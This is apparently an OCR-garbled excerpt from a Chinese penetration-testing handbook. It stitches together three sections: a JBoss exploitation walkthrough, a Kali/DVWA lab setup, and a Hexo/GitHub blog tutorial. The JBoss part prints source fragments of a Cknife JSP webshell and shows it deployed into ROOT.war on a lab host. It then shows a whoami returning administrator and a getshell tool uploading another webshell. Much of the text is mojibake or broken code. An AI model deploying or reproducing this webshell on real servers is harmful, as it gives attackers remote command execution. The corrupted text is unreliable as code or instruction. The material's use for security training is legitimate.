void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)

{os.write((h.indexOf(d.charAt(i)) < <4|h.indexOf(d.charAt(i+1))));}os.close();}

void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()}{df.mkdir();}File
z[]=sflistFiles();

for(int j=0;j<z.length;j+ +){HH(s+"/" +z[j].getName(),d +"/" +z[jl.getName());} v
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€ O 192.168.210.151:8080/3.jsp UEE ¢
@=Rm~ AcCookiesv y cssfll=E> @BER~ GRRESY EEHEDE Jimoy FSE8- K18 MESERBEY [1ERY

HTTP Status 500 -

5T Exception report

il=syen)) The server encountered an internal error () that prevented it from fuffiling this request.

org. apache. jasper. JasperException: An exception occurred processing JSP page /3. jsp at line 45

42: catch(Exception e) {sb. append("Result\t|\t\r\n") ;try{m. executelUpdate (q) ;sb. append ("Execute Successfully
43: }catch(Exception ee) {sb. append(ee. toString ) +"\t|\t\r\n") :}}m. close () ;c. close() ;}

44: %<%

45: String cs=request. getParameter("z0”)+"”;request. setCharacterEncoding (cs) ;response. setContentType ("text
46: String Z=EC(request. getParameter (Pwd)+"”, cs) ;String z1=EC(request. getParameter("z1”)+"”, cs) ;String z2=
47: StringBuffer sb=new StringBuffer(””) ;try{sb. append("->"+"|");

48: if(Z. equals(”A”)) {String s=new File(application. getRealPath(request. getRequestURI())). getParent() ;sb. a

6.9.3.1.2 E537] shell ZREXEHAR

AU Dy REBi e, BE4Z{EH webshell bA%, fEAKIE jboss web R HFHMELLT, BT
il AL SO, AR B T RE AR 2 7ES_jboss/bin HF (HfAKE, WHEEEREER
FREUCP 45 IS S “User Currrent Directory” ) , FArPAFRAIE LTI LMER “FIHFE” 1Y
DIRedtBE T jboss web [ FEMR HRALEAE B

— IO jboss BRINZALIIEOL, HH AL EBRASU T

”$ jboss/server/default/deploy/jboss—webdeployer/ROOT. war/”

(1) jbos web 1R B XEE&Z(E BWE
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= JavaRFFHESRNGKTE -- powered by STG-65F - O X
BfRBES: | JBoss ~ | Bix: | http://192.168.210.151:8080 1. 055G, A H 250 a0 p B
 Bi5EE | wFes | webshell bt | e A \

SEiREE | C\jboss-4.2.1.GA\server\default\deploy\jboss-web.deployer\ROOT.war B=

~

Il http-invoker.sar
Il jboss-aop-jdks0.deployer
Il jboss-bean.deployer
v ru jboss-web.deployer
|y conf J
Tl jsf-libs 2. [ h'qu'iﬂ‘J(15.15'\|‘1~'.".E- B RSN H IR X Hjboss
B merane  (Fweb i i H 5.

v B ROOT.war

{4 manager

T wee-IN 7l ‘Jfl'kl"lfjjboss web fi H 54 &

$_jboss/server/default/deploy/jboss-web.deployer/ROOT.war

favicon.ico
index.html

jboss.css

logo.gif

(2) _E4% Cknifejsp —H)iE RS

EAEAEM Cknife BN jsp BIAS A A BEAT B4R, DUONRTIBA T B8 TR A webshel 1
JA AR BEAT EA%, RIUET AR, PrUABATX EERCR Cknife HHHY jsp R KA
A, R BUA] DLIE & AT -

S JavaRFFHESIRIGE TR -- powered by STG-65 T R -, .0 X
1, oD i i 41 H s 25 i f)jboss web i H a4 {5 SHIH S ¢
EtRBSE: | JBoss v | Bf5: | httpif}92-1681210.181:8080
E5E8 | FeS | webshel i€ | 324&5‘12? _jboss/server/default/deploy/jboss-webdeployer/ROOT.war/
I EEREZ | C\jboss-4.2.1.GA\server\default\deploy\jboss-web.deploye\ROOT.war\4.jsp ’E B=
<%@page import="java.io.* java.util.* java.net.” java.sql.* java.text.*" %> "‘
<%!
String Pwd = "Cknife"; ) ) ) ) ) b
String cs = "UTF-8"; 2. 5 0 FLEEAS Cknife [ 417 ) 1. jsp Ui ith 52 1 311X L (1 iy A HE,
String EC(String s) throws Exception { fﬂl fiie it H)i Utl [ i (f ”’J Wiy |)‘J {f' , J]»L‘L Ji ,“l\"\ xll-'“ {IfH N ft:.
return new String(s.getBytes(*ISO-8859-1 '),cs)‘
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei);
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle”)!=-1){
return
DriverManager.getConnection(x[1].trim()+*:" +x[4] x[2].equalsignoreCase("[/null]")?"":x[2],x[3].equalsignoreCase("[/null]")?"":x[3]);
jelse{
Connection ¢ =
DriverManager.getConnection(x[1].trim(),x[2].equalsignoreCase("[/null]")?""xx[2] x[3].equalsignoreCase(" [/null]")?"":x[3]);
if (xlength = 4) {
c.setCatalog(x[4]);
}
return ¢;
}
}
L void AA(StrinaBuffer sb) throws Exception { v
7
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(3) XTNEEZ

14 S ) B FARH 1. jsp webshell, ARINHFREN ML FETS AL PR o

W Cknife 1.0 Beta3

C:\iboz=—41.2.1 GA\zerver\default\. \deploy\ jbozz—web. deployver\ROOT. war\>whoami
admin—5b386d12d\administrator

C:\jbo==—4.2_ 1 GA\zerver\default\deploy\ jboz=—web. deplover\ROOT. war\>

H Cknife 1.0 Beta3

6.9.3.2 JBoss R FF5I{LimiE getshell TR

XA JBoss SFSMEIRIAFIM TH, £—ALTTEX JBoss Sy FIMLIRIAAM A 1 TR, H
EAE war G HEERIREC—A> “HEET]” 1 webshell, s FARW A1

- (1) ¥4l

E by August QQ:87146980 http://zzxiaoyu.cn — O
1. Jiijibossvi ] url fiihl:
podtth Ihttp://192. 168.210. 1518080 | it

HE EEtREd . ERFERSTHENE S EiGatshell

shell}: [ ltaisEnt | E=EGetshell
l

wE

Getshell

ek

August’ Blog  http://www. zzxiaoyu. cn
1
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« (2) 3KEl webshell ithsit

o5 JbossiEEHIAEILE by August QQ:87146980 http://zzxiaoyu.cn - O X
Fodtit - \http:/,ﬂgz. 168. 210. 151 :8080 ‘ it |August.jsp

iR CEEEH . ERAERSQTRL, {EndiGetshell

v I,_\.\

getshell"3j: l[{webshell ij;
) Fth bl

shellfthht [http:msz. 168. 210. 151 : 8080, /Auzust/August. jsp

PS: FASA—BNERTIS, EBA. \

?‘Dﬁé{t Getshell

August’ Blog  http:/fwww. zzxlaowu. cn

- (3) FERIEERZ
o VE VEEA T ESTE R, REMER Chni fe HEAT R

I hEE T @20100928 | B i //192.168.210151:8080. | T hitp:AA192.168.210.151:8080.. L2

I FESET)@20100328 48 htlp:£/192.188.210.ARLA0AN. | Lip-//192.168.210.151:6020... [
] C:\jboss—4.2. 1. GA\server\defaulth. \deploy\managemertiAuzust. warl l v EED
192.168.210. 151 B (0), 32F2) = Aiig] 7o B
E < C: -
= ) jboss—4.2.1.GA
= ] server
E 1) default
=
F 2 deploy
=

] management

> [
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o iAW EHAE
https://www.ichungiu.com/course/1569
o JBOSS £ Java B/FFIMLEA GAPITRE (B REEZELTN)
http://www.freebuf.com/articles/86950.html
o GZUHEMER
http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
o jboss &R, MILHE
http://www.jb51.net/softjc/222769.html
e jboss 7 [ ELE
http://www.cnblogs.com/hyddd/archive/2009/05/07/1451378.html
e jboss FFHA?

http://www.codeceo.com/article/jboss-setup-local-project.html

o Jboss H AR

http://i4s0nh4ck.iteye.com/blog/2142592

http://www.codeceo.com/article/java-jar-war-ear.html

e F]H jboss JMX-console

http://blog.csdn.net/fengling132/article/details /7868649
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7.Kali linux2.0 &4t%% DVWA Bi&ENAF &

Mg

BRI — B (8] — LR AT Web B i, BrDARR B @ — /M2 E AT &, DUES 20 W24
JIR, fm: SOLVEN, XSS, XA EAEE%. Kali 1inux2017. 1 &'E 5 K AR M i A,
BT RN B KHE R MariaDB, DVWA M 1.9 FRAEHH| T 1.10, M EHR T &K, &
HRIEBHZRE, oL ECA R kaili 1inux2. 0 2235 DVWA 2R 72498, 4R
LT EE R, EXIRAZ WG RIEOT, RBE#E 7 kali 11inux2. 0 2% DVWA 1. 10, {H
B, RIIUA B L 20fE B A A g B BB R 7, BARIX R SCER M, 24T H
A Eags, AELERR PRI,

7.1. ZIEZ BIHRER TIE

7.1.1 T# kali linux2.0

AR A DL A CAE R BRR AL, SRS AEREAT 22 kali linux2.0 R 48, AT AR
CLRAZR MK R UL, A BUR T AL X — DAL S, PrelE R B3k T 5
W R, PR SR ar i R

N

https://btdig.com/FE62B32EOF3F3A7C25314B26856861BB843A2B06

TGS R REAL A T BT DS BRI AR

TE: SR/

T HIR4  BAR MR, W] UM AT AL B A B e -

7.1.2.7# DVWA S kA&
H BT nmap &GH 2 E AN 1.10 fiiAds, 25 github | N % DVWA 1234, A iEa)N:

wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
B B R SE B R E 242 dvwa, AR K ) B fvar/www/html SCHER

7.2. FEERE

7.2.1. 55 21kE apache2

TP &3, AT AT dr &
service apache2 stop

TR T dvwa S AR R RLRR, 4545 78 2 om RN «
chmod -R 755 /var/www/html/dvwa
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7.2.2 7|8 MySQL

T i N DA F i 2
service mysql start
RGN T 4 TH R)IEEE Mysql
mysql -u root

use mysq|

create database dvwa;

exit

PP T

root@Kkali: ~ e ® 0

File Edit View Search Terminal Help

:~# service mysql start

:~# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.6.30-1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create database dvwa;
Query 0K, 1 row affected (0.00 sec)

mysql> exit
Bye

ENEEEE, F I kali linux2017.1 885 FE L2, & B BRA R Z& MariaDB, 7E 14 18
PLR 23T 58 )5, B, A NG5 B B A i 1) @,
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root@Kkali: ~ e ® 0

File Edit View Search Terminal Help

:~# service mysql start

:~# mysql -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.1.22-MariaDB- Debian 9.0

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

DEYE ] E M EL D

MariaDB [mysql]> create database dvwa
= c

Query Ok, 1 row affected (0.00 sec)

MariaDB [mysqgl]> exit
Bye
~# ]

RN ABEZER S MySQL service 14 172 H27 H TH]

Setup :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox @ @&

Setup :: Damn Vulner... x | &

€ 192.168.2.131 ¢ wB8 9 3 4

[ Most Visited v Jll Offensive Security “ Kali Linux "% Kali Docs “% Kali Tools EMExploit-DB Wy Aircrack-ng

MySQL username: root
MySQL password: *iex
MySQL database: dvwa
MySQL host: 127.0.0.1
reCAPTCHA key: Missing

[User: root] Writable folder /var/www/html/dvwa/hackable/uploads/: Yes
[User: root] Writable file /var/www/html/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt: Yes

Status in red, indicate there will be an issue when trying to complete some modules.

Create / Reset Database

Could not connect to the MySQL service.
Please check the config file.

7.2.3.)38h apache2 AR 5%

T %5, A LUR 4T
service apache?2 start

i & PHP, GD (¥
apt-get install php7.0-gd
CHAEMAL A IR, W2 SRR B A BT 545D
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Y5 /etc/php/7.0/apache2/php.ini
&8 812 47 allow_url_include = Off ¥ allow_url_include = On {R/F1E H
vim /etc/php/7.0/apache2/php.ini
I php.ini (/etc/php/7.0/apache2) - VIM @ ® O
XH(F) 4RiB(E) ZE(V) ER(ES) LT HEIH)
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.

; http://php.net/allow-url-fopen
allow url fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as file
S.
; http://php.net/allow-url-include
Bllow url include = On

; Define the anonymous ftp password (your email address). PHP's default setting
; for this is empty.

; http://php.net/from

; from="john@doe.com"

; Define the User-Agent string. PHP's default setting for this is empty.
; http://php.net/user-agent
;user_agent="PHP"

; Default timeout for socket based streams (seconds)
; http://php.net/default-socket-timeout
default socket timeout = 60

; If your scripts have to deal with files from Macintosh systems,

TRAFIR H
@ESC’ iﬁ)\: ’ %Eiﬁ]\wa

7.2.4.Fc & DVWA

FIH iy, FANCL a4, EANF] dvwa SR
cd /var/www/html/dvwa
chown www—data:www—data /var/www/html/dvwa/hackable/uploads
chown www—data:www—data
/var/www/html/dvwa/external/phpids/0. 6/1ib/IDS/tmp/phpids log. txt
cd config
vim config. inc. php
root@Kkali: /var/www/html/dvwa/config e ® O
M (F) 4RiB(E) BE(V) EZR(S) Lim(M HEIH)

~# c¢d /var/www/html/dvwa

:/var/www/html/dvwa# chown www-data:www-data /var/www/html/dvwa/hackab
le/uploads

:/var/www/html/dvwa# chown www-data:www-data /var/www/html/dvwa/extern
al/phpids/0.6/1ib/IDS/tmp/phpids log.txt

: /var/www/html/dvwa# cd config
:/var/www/html/dvwa/config# vim config.inc.php
:/var/www/html/dvwa/config# [

B 5 18 47 $ DVWAL *db password’ ] = p@sswOrd’ , iX—47cN$ DVWA[ * db password’ ]
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config.inc.php (/var/www/html/dvwa/config) - VIM e ® O

XHE(F) 4RiB(E) ZF(V) EZR(GS) Lim(T) HEIH)
<?php

# If you are having problems connecting to the MySQL database and all of the var
iables below are correct

# try changing the 'db server' variable from localhost to 127.0.0.1. Fixes a pro
blem due to sockets.

# Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled

# Database variables

#  WARNING: The database specified under db database WILL BE ENTIRELY DELETED d
uring setup.

# Please use a database dedicated to DVWA.

$ DVWA = array();

$ DVWA[ 'db server' ]

$ DVWA[ 'db database' ]
'db_user' ]
'db_password' ] -

12700217 =
"dvwa’;
'root';

LI [ | |

# Only used with PostgreSQL/PGSQL database selection.
“config.inc.php" [dos] 44L, 1707C

FTIF R 885 N ip/dvwa/setup. php WANL http://192. 168. 2. 132/dvwa/setup. php

—
DVWA)

Database Setup

Instructions I

Click on the 'Create / Reset Database’ button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: /varilwww/html/dvwal/config
Iconfig.inc.ph

About | R

If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials (‘admin // password") at any stage.

Setup Check

Operating system: *nix
Backend database: MySQL
PHP version: 7.0.22-2

Web Server SERVER_NAME: 192.168.2.132
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PHP function display_errors: Disabled
PHP function safe_mode: Disabled

PHP function allow_url_include: Enabled
PHP function allow_url_fopen: Enabled
PHP function magic_quotes_gpc: Disabled
PHP module gd: Installed

PHP module mysql: Installed

PHP module pdo_mysql: Installed

MySQL username: root
MySQL password: *blank*
MySQL database: dvwa
MySQL host: 127.0.0.1
reCAPTCHA key: Missing

[User: root] Writable folder /var/www/html/dvwa/hackable/uploads/: Yes
[User: root] Writable file /var/www/html/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.tit: Yes

Status in red, indicate there will be an issue when trying to complete some modules.

Create / Reset Database

M1 Create/Reset Database
N TH R R B S DT, A NG L X TSR T /NN e sl FEE R IR 7 B S Rl T

Username

Password

Login
System Wide Information Management (SWI

MNP 4 admin, %09 password, BRI
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. Welcome to Damn Vulnerable Web Applicatio

Instructions I Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulneral
goal is to be an aid for security professionals to test their skills and tools in a legal environment, h
Setup / Reset DB I developers better understand the processes of securing web applications and to aid both students

learn about web application security in a controlled class room environment.

Brute Force The aim of DVWA is to practice some of the most common web vulnerability, with various dif

levels, with a simple straightforward interface.

Command Injection
CSRF

Fil General Instructions
e Inclusion

File Upload It is up to the user how they approach DVWA. Either by working through every module at a fixed le
selecting any module and working up to reach the highest level they can before moving onto the n¢

Insecure CAPTCHA is not a fixed object to complete a module; however users should feel that they have successfully
system as best as they possible could by using that particular vulnerability.

SQL Injection

BER R, ] LLFR DVWA (A SC BRI T3] 1. XA, RARBETFEHEEY, ¥BinE
FIFSCREBLHEE, HTREFHERN, —HHEHFATES, FRRNES, IAMEMES, BH
HaBiAREG &, 1€ simeon WEHN T, RCEIEE Tk, BEIRNFMBRE N, (H2HLH R
TR, ERIBELAL, MAELEER. A4, mBEAEMA KM, HERSGEHMEG, i
#Ekali linux 2017. 1 FERINZ23E 1 DVWAL. 10 A, —E MBS Z AT o, i 2B K M simeon
I — B R F) 35 B

8.{# A hexo+github HEHZWIHE

8.1 73 github pages

SEVEM— github K5
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Join GitHub

The best way to design, build, and ship software.

‘ Step 1:

Create personal account

Create your personal account
You'll love GitHub

Username

|g | ZRtREIblogitillt -
pentestline | https:/ipentestline.github.io v Unlimited collaborators

This will be your username — you can enter your organization’s username next. Unlimited public repositories

Email Address
= v Great communication
2° 1 5 3@gg.com v

v Frictionless development
You will occasionally receive account related emails. We promise not to share your
email with anyone. v Open source community

Password
e v

Use at least one lowercase letter, one numeral, and seven characters.

By clicking on "Create an account” below, you are agreeing to the Terms
of Service and the Privacy Policy.

Welcome to GitHub

You've taken your first step into a larger world, @pentestline.

Completed ([ Step 2:
Set up a personal account Choose your plan

Choose your personal plan
Both plans include:

® Unlimited public repositories for free.

Collaborative code review

Unlimited private repositories for $7/month. Issue tracking

Don't worry, you can cancel or upgrade at any time.

v

v

v Open source community

v Unlimited public repositories
v

Join any organization
[} Help me set up an organization next
Organizations are separate from personal accounts and are best suited for
businesses who need to manage permissions for many employees.
Learn more about organizations

|| Send me updates on GitHub news, offers, and events
Unsubscribe anytime in your email preferences. Learn more

Continue I
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Welcome to GitHub

You'll find endless opportunities to learn, code, and create, @pentestline.

Completed [[D Step 2: Step 3:
Set up a personal account Choose your plan Tailor your experience

How would you describe your level of programming experience?

) Totally new to pregramming ® Somewhat experienced () Very experienced
REA®

What do you plan to use GitHub for? (check all that apply)

[} School projects [) Development ¥ Design

[) Research [} Project Management [] Other (please specify)

Which is closest to how you would describe yourself?
) I'm a professional ) I'm a hobbyist ® I'm a student

() Other (please specify)

SRJE S B SRARZ BE MK 5 I B lE RS, AIEZ 5, IEFEHE ek

Learn Git and GitHub without any code!

Using the Hello World guide, you'll create a repository, start a branch,
write comments, and open a pull request.

Read the guide Start a project

N
l//“\ ) o GitHub Universe
" Mﬁ October 10-12 in San Francisco

Your repositories )

All  Public Private Sources Forks

You don't have any repositories yet!

595 Ti/3L 105 TE S MuE: http://www. antian365. com B HMH: & H 28 H HWF4&E: %%



AT (%R 365 ) % 5 PIREHRT: antian365-20170828
W%k www.secbang.com

Create a new repository

A repository contains all the files for your project, including the revision history.

Owner Repository name

pentestline v / [pentestline.github.io I v

Great repository names are short 3Qd memorable. Need inspiration? How about refactored-spork.

Description (optional)

MR REM B username

@ |i | Public

Emyomecan see this repository. You choose who can commit.

— Private

“— You choose who can see and commit to this repository.

Initialize this repository with a README

This will let you immediately clone the repository to your computer. Skip this step if you're importing an existing repository.

Add .gitignore: None v Add a license: None v | ()

Create repository

H 2 settings, £ F$i% GitHub Pages

0 This repository Pull requests Issues Marketplace Explore += . v
L pentestline / pentestline.github.io @Watchv | 0 HStar 0 ¥ 0
Code Issues 0 Pull requests 0 Projects 0 Wiki £} Settings Insights «
Options Settings

Collaborators
Repository name

Vebh . . .
Webhooks pentestline.github.io
Integrations & services

Deploy keys Features

GitHub Pages
GitHub Pages is designed to host your personal, organization, or project pages from a GitHub repository.

Source
GitHub Pages is currently disabled. You must first add content to your repository before you can publish a
GitHub Pages site. Learn more.

User pages must be built from the master branch.

Theme Chooser
Select a theme to build your site with a Jekyll theme using the master branch. Learn more.

Choose a theme
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O This repository Pull requests Issues Marketplace Explore qr .'

e =— I
Machme o
MINIMAL

Hide thumbnails

configuration file.

### Support or Contact

Having trouble with Pages? Check out our [documentation](https://help.github.com/categories/github-pages-basics/) or [contact support
(https://github.com/contact) and we’ll help you sort it out.

Commit changes

® o Commit directly to the master branch.

i1 Create a new branch for this commit and start a pull request. Learn more about pull requests.

Commit changes Cancel

XFE, AT blog 1 TUALMMLTF T

& == | https://pentestline.github.io

pentestline.github.io

pentestline mattgraham

Welcome to GitHub Pages

You can use the editor on GitHub to maintain and preview the content for your website in
Markdown files.

Whenever you commit to this repository, GitHub Pages will run Jekyll to rebuild the pages in your
site, from the content in your Markdown files.

Markdown

8.2Hexo &

https://hexo.io/themes/
235 git(https://git-scm.com/download)
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¢% Git 2.13.3 Setup

Information \\s
Please read the following important information before continuing. </ ¥ 4

When you are ready to continue with Setup, dick Next.

GNU General Public License )

Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

Preamble

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
license is intended tn nuarantee vour freedom tn share and channe
https:/ fait-For-windows. github.io/

o

223 nodejs(http://nodejs.org/)

ﬁ Node.js Setup

Installing Node.js ﬂ ‘@d e

Please wait while the Setup Wizard installs Node.js.

Status: Copying new files
I —

Back Next
EEBEAET AU, BEBRINT P2,
%% hexo

B — N T hexo A H K, X EERIE—1 blog HFXAH], HEALIEIFH blogs
Hax, AHEEEE git bash here
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nisPC > ZR{% (D:) > blogs
Name » Date modified Type Size

& AMD Radeon Settings

View >
Sort by >
Group by >
Refresh

Customize this folder...

Paste

Git GUI Here
Git Bash Here
Paste shortcut

Undo Rename Ctrl+Z
Share with >
New >
Properties

fEFH npm %2 hexo %% F i :
npm install hexo-cli -g

npm install hexo-cli -g
:\Users\Mochazz\AppData'\Roaming\npm\hexo -> C:\Users\Mochazz\AppData'\Roaming\np
de_; ules\hexo-cli\bin\hexo
> dtrace-provider@0.8.3 install C:\Users\Mochazz\AppData'\Roaming\npm\node_module
s\hexo-cli\node_modules\dtrace-provider
> node scripts/install.js

> hexo-uti11@0.6.0 postinstall C:\Users\Mochazz\AppData'\Roaming\npm\node_modules}
hexo-cli1\node_modules\hexo-uti]
> npm run build:highlight

> hexo-uti11@0.6.0 build:highlight C:\Users\Mochazz\AppData'\Roaming'\npm\node_modu
les\hexo-cli1\node_modules\hexo-uti]
> node scripts/build_highlight_alias.js > highlight_alias. json

C:\Users\Mochazz\AppData'\Roaming'\npm
"-- hexo-c11@1.0.3

+-- abbrev@l.l1l.0

+-- bluebird@3.5.0

+-- chalk@l.1.3

YT hexo J5, HIUGL:

hexo init
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MINGW64:/d/blogs = O X

: wanted {"os":"darwin”,"arch”:"any"} (current: {"os":"win32","arch”:"x64"}

d/blc
$| hexo init
INFO Cloning hexo-starter to D:\blogs
Cloning into 'D:\blogs’
remote: Counting objects: 56, done.
remote: Compressing objects: 100% (3/3), done.
Unpacking objects: 100% (56/56), done.
remote: Total 56 (delta 0), reused 1 (delta 0), pack-reused 53
Submodule "themes/landscape’ (https 1thub. com/hexojs/hexo-theme-landscape.git
) registered for path 'themes/landscape’
Cloning into 'D:/blogs/themes/landscape’...
remote: Counting objects: 785, done.
remote: Total 785 (delta 0), reused 0 (delta 0), pack-reused 785
Receiving objects: 100% (785/785), 2.54 MiB | 264.00 KiB/s, done.
Resolving deltas: 100% (403/403), done.
Submodule path 'themes/landscape’': checked out 'decdc2d9956776che95420ae94bac87e
22468d38"
INFO Install dependencies
INFO: Could not find files for the given pattern(s).
npm WARN deprecated swig@l.4.2: This package is no longer maintained

|
fFH hexo -v 5 & Fr 24 1) hexo R4S, {1 hexo h 725 A Bl SCHY:

$ hexo -

hexo: 3.3.8
hexo-cli: 1.0.3
os: Windows_NT 10.0.15063 win32 x64
http_parser: 2.7.0
node: 6.11.1

v8: 5.1.281.103
uv: 1.11.0

zlib:

ares:

icu:

modules:

openss]:

/d/blogs

$ [hexo h
Usage: hexo <command>

Commands :
clean Remove generated files and cache.
config Get or set configurations.
deploy Deploy your website.
generate Generate static files.

A ZR HSE N _configyml XX, % FH$LF Deployment
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: git
: https://github.com/Mochazz/Mochazz.github.io.git
: master

Hipk{R A S Musername

{8 hexo s E A 4000 iy 1T )3 AR 55, 3 W #8517 1) http://127.0.0.1:4000 B n] & 2 FA1 111 18
HHE I

render Render files with renderer plugins.
server Start the server.
version Display version information.

Global Options:
--config 1ify config file instead of using _config.
--cwd Specify the CwD
--debug Display all verbose messages in the terminal
--draft Display draft posts
--safe Disable all plugins and scripts
--silent Hide output on console

For more help, you can use "hexo help [command]' for the detailed information
or you can check the docs: http://hexo.10/docs/

d/blo gs
$ lhexo clean
INFO Deleted database.

d/blogs
$| hexo s
INFO Start processing
INFO Hexo is running at http://localhost:4000/. Press Ctrl1+C to stop.

™ Hexo X 4+ = X

¢ 0[aario]

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can

find the answer in troubleshooti ng or you can askme on G ub
Quick Start Hello Worlc

Create a new post

IEEE ajax.googleapis.com...
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EFERUE RN, WRFERAE W, 7FZS%EH markdown TR S AR 1 30 FF Ok
Fle.md 48X 30F, SR JE73 blogs\source\_posts H3 .
A A E LR H hexo's, EHE 23 github page L [1)14 7 H hexo g && hexo d ZR J5 1
PEHE R NAR I github K5 2 A BT,
ENIpESSE A

> ThisPC > ZXi% (D:) » blogs > source > _posts

A~

Name Date modified Type Size

2017ncstisc.md 7/23/2017 6:59 PM MD File 6 KB
DDOS(1).md 7/23/20176:59PM  MD File 12 KB
DDOS(2).md 7/23/20 9PM  MDFile 9KB
happyctf.md 7/23/2017 6:59 PM  MD File 9KB
hello-world.md 7/24/2017 1:25PM  MD File 1 KB
1S.md 7/23/2017 6:59PM  MD File 3KB
LAMP.md 7/23/2017 6:59PM  MD File 3KB
ms17-010.md 7/23 9PM  MD File 2KB
wolf_cms.md 7/23/2 9PM  MD File 4KB

Markdown 1BV KX #:

http://www.appinn.com/markdown/#img

DDOS(1).md

title: DDOSIEIRSBAID

date: 2017-07-15 22:00:00

tags: [DDOS]

categories: IB{EIRE

description: DDOS(Distributed Denial of Service), RIFnFATiBRIRSWE. ¥

>![1(/img/DDOS/d1.png)</ >

At f*%yﬁ’]lﬂffﬁfjﬁ?ﬂ—i/\ HiR
HiR—: AT git

INFO Generated: 2017/07/19/ S(2) /index. htTf
INFO Generated:

INFO Generated: 2017 /15 /ms 10/index. html
INFO Generated: 2017/07/26/ lo rld/index. html
INFO Generated: 2017/07/ olf_cms/index. html
INFO Generated: 2017 /14/11IS/1ndex. html

INFO Generated: 2017 /10/2017ncstisc/index. html
INFO Generated: 2017/07/04/happyctf/index. htm]
INFO Generated: onts/fontawesome-webfont. svg
INFO Generated: 2 /13 /LAMP/index. htm]

INFO Generated: ’Ol“ 7/15/DDOS(1) /index. htm]
INFO Generated: background/backup/bg-4.jpg
INFO Generated: background/bg-51.3jpg

INFO Generated: css/images/banner. jpg

INFO Generated: background/bg-312.jpg

INFO Generated: background/bg-111.3jpg

INEQ 335 files generated dn 3. .44 s

“RROR Deployer not found: git
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RV IIRES

npm install hexo-deployer-git --save

/d/b1
$/ npm install hexo-deployer-git --save
hexo-s1te@0.0.0 bTogs
"-- hexo-deployer-git@0.3.0

npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@Al.0.0 (node_modules\ch
okidar\node_modules\fsevents):
1 WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@
.2: wanted {"os":"darwin”,"arch”:"any"} (current: {"os":"win32","arch":"x6

R VA E s e

$ hexo g --d

INFO Start processing

INFO Files loaded in 850 ms

INFO 0 files generated in 1.3 s

INFO Deploying: git

INFO Setting up Git deployment...

Initialized empty Git repository in D:/blogs/.deploy_git/.

Please tell me who you are.
Run

git config --global user.email /
git config --global user.name "Your Name"”

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got "Mochazz@DESKTOP-SEJ9981. (none)’

AL Something's wrong. Maybe you can find the solution here: http://hexo.i0/do
/troubleshooting. html

Please tell me who you are.
Run

git config --global user.email "you@example.com"
git config --global user.name "Your Name"

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got "Mochazz@DESKTOP-SEJ9981. (none)’

)
ChildProcess. <anonymous> (D:\blogs\node_modules‘\hexo-util\Tib\spawn. js

emitTwo (events.js:106:13)
ChildProcess.emit (events.js:191:7)
ChildProcess.cp.emit (D:\blogs\node_modules\cross-spawn\1ib\enoent. js:40:

maybeClose (internal/child_process.js:891:16)
Process.ChildProcess._handle.onexit (internal/child_process.js:226:5)

R TT %

WA — NEBFE AT, B 2 AU AR github 48 1) AN 45
git config --global user.email "youmail@163.com"

BT okt AT DAIE HOR R 1 19 2550 21 github BT

T fif hexo &N HUE VEA A A8 ] 5 1%
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MINGW®64:/d/blogs
d/blogs
$ hexo help
Usage: hexo <command>

Commands :
clean Removed generated files and cache.
config Get or set configurations.
deploy Deploy your website.
generate Generate static files.
help Get help on a command.
init Create a new Hexo folder.
Tist List the information of the site
migrate Migrate your site from other system to Hexo.
new Create a new post.
publish Moves a draft post from _drafts to _posts folder.
render Render files with renderer plugins.
server Start the server.
version Display version information.

obal Options:

--config Specify config file instead of using _config.yml
--cwd Specify the CWD

--debug Display all verbose messages in the terminal
--draft Display draft posts

--safe Disable all plugins and scripts

--silent Hide output on console

For more help, you can use 'hexo help [command]' for the detailed information
or you can check the docs: http://hexo.10/docs/

/d/blogs
$lhexo help clean
usage:T nexo Ccredn

Description:
Removed generated files and cache.

/d/blogs
$| hexo help deploy
Usage: hexo deploy

Description:
Deploy your website.

Options:
--setup Setup without deployment
-g, --generate Generate before deployment
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